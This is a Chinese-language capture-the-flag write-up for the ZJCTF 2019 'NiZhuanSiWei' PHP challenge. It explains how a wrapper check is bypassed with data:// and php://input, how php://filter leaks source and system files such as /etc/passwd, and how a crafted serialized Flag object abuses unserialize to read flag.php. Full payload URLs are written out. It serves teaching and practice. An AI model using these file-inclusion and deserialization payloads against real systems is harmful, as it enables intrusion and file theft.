[ZJCTF 2019]NiZhuanSiWei
一、靶场首页(题目源码)
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ #file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ # preg_match 函数用于执行一个正则表达式匹配。
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
从代码可以看出首先是需要get传参text,file,password。再往下可以确定text要求传入文件,且内容为welcome to the zjctf,可以通过伪协议传入;file需要通过文件包含一个文件名,且虽然正则过滤了flag,但提示了useless.php,所以可以也利用伪协议读取。
二、第一个绕过点
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
$text需要输入"welcome to the zjctf"并传入文件中,可以将内容写入data伪协议中(一般为了绕过一些过滤会进行base64编码),让file_get_contents函数读取。也可以通过php://input伪协议用post的方式传入"welcome to the zjctf"
data伪协议:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
php://input伪协议
url:http://xxxx:xxxx/?text=php://input
POST数据:welcome to the zjctf
三、第二个绕过点
if(preg_match("/flag/",$file)){ # preg_match 函数用于执行一个正则表达式匹配。
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); # 反序列化
echo $password;
}
$file无法直接读取flag,可以直接读取/etc/passwd,但针对php文件还需要进行base64编码,否则读取不到其内容。所以无法使用file=useless.php,可以使用php://filter伪协议来读源码(使用其自带的base64过滤器)
file=php://filter/read=convert.base64-encode/resource=useless.php
构造payload如下:
http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串编码:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
进行base64解码即可得到useless.php源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
四、第三个绕过点
include($file); //useless.php
$password = unserialize($password); # 反序列化
echo $password;
现在只需要在文件内包含了useless.php文件后,利用unserialize()
函数进行反序列化即可执行Flag类内的__tostring函数。
通俗一点解释,就是将一个序列化后的对象即一串字符串传给$password,经过反序列化会得到一个实例对象。那么如果将一个useless.php中的Flag对象(其中$file参数的值为flag.php)序列化后得到的字符串传给$password,经过反序列化后就会变成了一个实例对象。
在本地执行下面代码:
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:
http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
file=php://filter/read=convert.base64-encode/resource=useless.php只能读取文件内容,不能执行。
如果最终payload需要能够执行Flag类中的东西,就必须要被“包含”而不是“被读取”,所以要用file=useless.php实现flag类中的file_get_contents执行读取flag。
五、get一个小flag
六、参考链接
https://www.redmango.top/article/13